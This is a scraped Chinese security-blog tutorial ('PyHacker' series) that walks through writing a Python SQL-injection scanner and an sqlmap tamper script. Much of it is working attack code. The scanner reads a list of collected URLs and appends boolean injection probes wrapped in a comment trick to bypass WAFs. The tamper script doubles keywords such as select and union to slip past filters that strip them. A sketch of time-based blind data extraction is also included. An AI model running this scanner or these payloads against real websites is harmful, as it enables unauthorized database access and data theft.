【PyHacker編寫指南】Sql註入腳本編寫

来源:https://www.cnblogs.com/XunanSec/archive/2022/05/15/pyhacker_sql.html
-Advertisement-
Play Games

這節課是巡安似海PyHacker編寫指南的《Sql註入腳本編寫》有些註入點sqlmap跑不出,例如延時註入,實際延時與語句延時時間不符,sqlmap就跑不出,這就需要我們自己根據實際情況編寫腳本來註入了。文末,涉及了sqlmap tamper編寫,所以需要一定的python基礎才能看懂。喜歡用Pyt... ...


這節課是巡安似海PyHacker編寫指南的《Sql註入腳本編寫》

有些註入點sqlmap跑不出,例如延時註入,實際延時與語句延時時間不符,sqlmap就跑不出,這就需要我們自己根據實際情況編寫腳本來註入了。文末,涉及了sqlmap tamper編寫,所以需要一定的python基礎才能看懂。

喜歡用Python寫腳本的小伙伴可以跟著一起寫一寫。

編寫環境:Python2.x



00x1:
需要用到的模塊如下:

import requests
import re


00x2:

編寫Sql判斷

首先我們需要一個payload,最好可以bypass,這樣方便測試

?a=/&id=1%20and%201=1%23/
url = 'http://127.0.0.1/index.php?id=1'
r = r'\?(.*)'
id = re.findall(r,url)
id = id[0]
payload = "?a=/*&{}%20and%201=1%23*/".format(id)

 

Ok,可以正常輸出

再匹配前面的url + payload完美bypass

 

 整理一下代碼:

    def url_bypass(url):
        r = r'\?(.*)'
        id = re.findall(r,url)
        id = id[0]
        payload = "?a=/*&{}%20and%201=1%23*/".format(id)
     
        urlr = '(.*)\?%s'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        print url_+payload
     
    url = 'http://127.0.0.1/index.php?id=1'
    url_bypass(url)

存放到列表當中,等下我們直接遍歷即可



00x3:
下麵來說一下判斷原理

?a=/&id=1%20and%201=1%23/    返回正常
?a=/&id=1%20and%201=2%23/ 返回錯誤

xor 1=1    返回錯誤
xor 1=2    返回正常

 
判斷1 != 2 則存在SQL註入漏洞(如上兩條語句都可以測試)
我們分別利用兩個請求測試,這樣代碼方便易讀

    def req1(url):
        global html1
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content

 


00x4:
判斷SQL註入漏洞

def main():
    req1(urls[0])
    req2(urls[1])
    if html1 != html2:
        print "[+] Find SQL"
    else:
        print "NO"

 調試一下:

 

 
00x5:
配和前面的教程,我們已經可以採集url,並且深度爬取
採集就不在這裡說了,你可以自己去採集一些url
遍歷url 判斷SQL註入漏洞:

if __name__ == '__main__':
    f = open('url.txt','r')
    for url in f:
        url = url.strip()
        url_bypass(url)  # c處理url
        main() #判斷SQL
        urls = [] #清空列表

自動輸出結果我就不寫了
前面也講了,大家可以根據自己需求修改

 


00x6:
完整代碼:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    import requests
    import re
    import urllib3
    urllib3.disable_warnings()
     
    urls = []
    def url_bypass(url):
        r = r'\?(.*)'
        id = re.findall(r,url)
        id = id[0]
        payload = "?a=/*&{}%20and%201=1%23*/".format(id)
     
        r2 = r'\?(.*)'
        id2 = re.findall(r2,url)
        id2 = id2[0]
        payload2 = "?a=/*&{}%20and%201=2%23*/".format(id2)
     
        urlr = '(.*)\?%s'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        url_bypass =  url_+payload
        url_bypass2 = url_ + payload2
        urls.append(url_bypass)
        urls.append(url_bypass2)
     
    def req1(url):
        global html1
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content
     
    def main():
        try:
            req1(urls[0])
            req2(urls[1])
            if html1 != html2:
                print "[+] Find SQL",urls[1]
            else:
                pass
        except:
            pass
     
    if __name__ == '__main__':
        f = open('url.txt','r')
        for url in f:
            url = url.strip()
            url_bypass(url)  # c處理url
            main() #判斷SQL
            urls = [] #清空列表

 這裡僅以SQL判斷思路進行編寫,猜測資料庫等操作也相同

拋磚引玉,只需要更換sql語句,利用for迴圈即可

大致思路:(延時註入獲取資料庫)

payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

遍歷payloads
判斷延遲時間,利用time比較,如果時間大於xxx,則字元存在

for x in payloads:
  url+and if(length(user)=%s,3,0)%x

 

 

 


Pyhacker 之 SQLMAP tamper編寫


tamper是對其進行擴展的一系列腳本,主要功能是對本來的payload進行特定的更改以繞過waf。

一個簡單的tamper:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

我們只需要修改這兩部分:

Priority:定義腳本的優先順序(預設lowest即可)

tamper:是主要的函數,接受的參數為payload和kwargs

返回值為替換後的payload。比如這個例子中就把引號替換為了\

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

 修改X-originating-IP 繞過Waf

所以我們只需要仿造進行修改,即可寫出我們的tamper

我們來測試一下

 

 

 

 
我們修改源代碼,關鍵詞 替換為空

 

 
OK,沒毛病

替換為空了,我們可以利用兩個seleselectct 繞過



測試一下:

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge

 

已經註入不出來結果了,我們來寫一個tamper

 

 利用replace函數進行替換字元

 

 


完整tamper:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
     
    #預設開頭
    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.LOW     #等級(LOWEST 最低級)
     
    #可有可無
    def dependencies():
        pass
     
    def tamper(payload, **kwargs):
        playload = payload.replace('and','anandd')
        playload = playload.replace('xor', 'xoxorr')
        playload = playload.replace('select', 'selselectect')
        playload = playload.replace('union', 'uniunionon')
        playload = playload.replace('if', 'iiff')
        return playload

放到tamper目錄下

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge --tamper "andand.py"

 

 

 

OK,已經註入出來了
方法大同小異,瞭解waf特征,fuzz bypass



微信公眾號關註:巡安似海,每天更新技術文章,網路安全,免殺攻防等文章。

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 1.拷貝 apache-zookeeper-3.5.7-bin.tar.gz到/opt/software目錄下 2.解壓到指定目錄 tar -zxvf apache-zookeeper-3.5.7-bin.tar.gz -C /opt/module/ 3.修改名稱 cd /opt/module mv ...
  • 華為分析服務面向開發者提供兩種數據展現方式:(1)事件數據下載,開發者可以將事件數據下載後導入到自有的分析系統中;(2)直接在AGC概覽頁面查看用戶數和事件數。 問題描述 某開發者想將事件數據導入到自有系統中,他在導出數據時將標識用戶方式選擇“按UserID和設備”,最後發現導出數據中的事件數比分析 ...
  • 不通過路由的情況下, 懶載入一個angular模塊, 並動態創建其中聲明的組件 ...
  • 忙裡偷閑,還在學校,趁機把後面的路由多出來的知識點學完 十.緩存路由組件 讓不展示的路由組件保持掛載,不被銷毀 在我們的前面案例有一個問題,都知道vue的路由當我們切換一個路由後,另一個路由就會被銷毀,如果我在一個路由寫了有一些input框 當我切換到另一個組件message很明顯這個時候news里 ...
  • Vue-mini 完整的Demo示例:[email protected]:xsk-walter/Vue-mini.git 一、Vue實例 構造函數: $option\ $el\ $data 判斷是否存在 通過 || 邏輯運算符; _ProxyData 遍歷所有data屬性,並註入到vue實例中; 判斷是否 ...
  • 數組對象 創建數組 創建方式1: var arrname = [元素0,元素1,….]; // var arr=[1,2,3]; 創建方式2: var arrname = new Array(元素0,元素1,….); // var test=new Array(100,"a",true); 數組方法 ...
  • Eclipse WindowBuilder(SWT)插件安裝及初次使用(萌新) 一、插件安裝 (有VPN的掛VPN,伺服器在外網更新下載比較慢) 1.首先更新到最新版本 點擊Help,點擊check for update,右下角顯示查詢進度,查詢完畢會顯示最新版內容。全部更新 2.還是在help內, ...
  • 時間真的好快呀!一晃眼五一假期就結束了,假期大家都玩的開心不?今天我要給大家分享幾個練手 的基礎案例,保證大家都沒有玩過。話不多說,來來來… 一、超市購買薯片 python學習交流Q群:906715085##### # 用戶輸入薯片的單價 danjia = float(input("薯片的單價")) ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...